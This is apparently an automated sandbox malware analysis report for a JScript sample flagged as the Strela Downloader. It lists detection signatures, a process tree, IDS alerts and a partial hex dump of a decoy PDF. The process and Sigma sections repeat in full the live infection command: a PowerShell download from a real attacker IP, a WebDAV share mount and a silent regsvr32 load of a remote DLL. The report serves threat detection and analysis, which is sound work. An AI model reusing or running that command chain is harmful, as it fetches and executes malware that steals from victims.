Edit tour

Windows Analysis Report
696568221068916474.js

Overview

General Information

Sample name:	696568221068916474.js
Analysis ID:	1588687
MD5:	cfa2fc262b98946eb14d417001e7a15d
SHA1:	5904226b6524edeae992fe0c63d7aa73164a6eda
SHA256:	aa46f581c4f0cc7883f35e17d722bf57ee95919c29d33fb4fefefc47ecb678ff
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5560 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1472 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2448 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1868 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6496 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7304 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1756,i,6017882207211012729,3490732778101089256,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7120 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3116 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7176 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5560	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2448, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2448, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", ProcessId: 5560, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3116, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", ProcessId: 5560, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2448, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7120, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3116, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7176, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7120, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3116, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 1472, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:12:16.786089+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:12:19.337796+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:12:16.786089+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 696568221068916474.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 696568221068916474.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:12:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
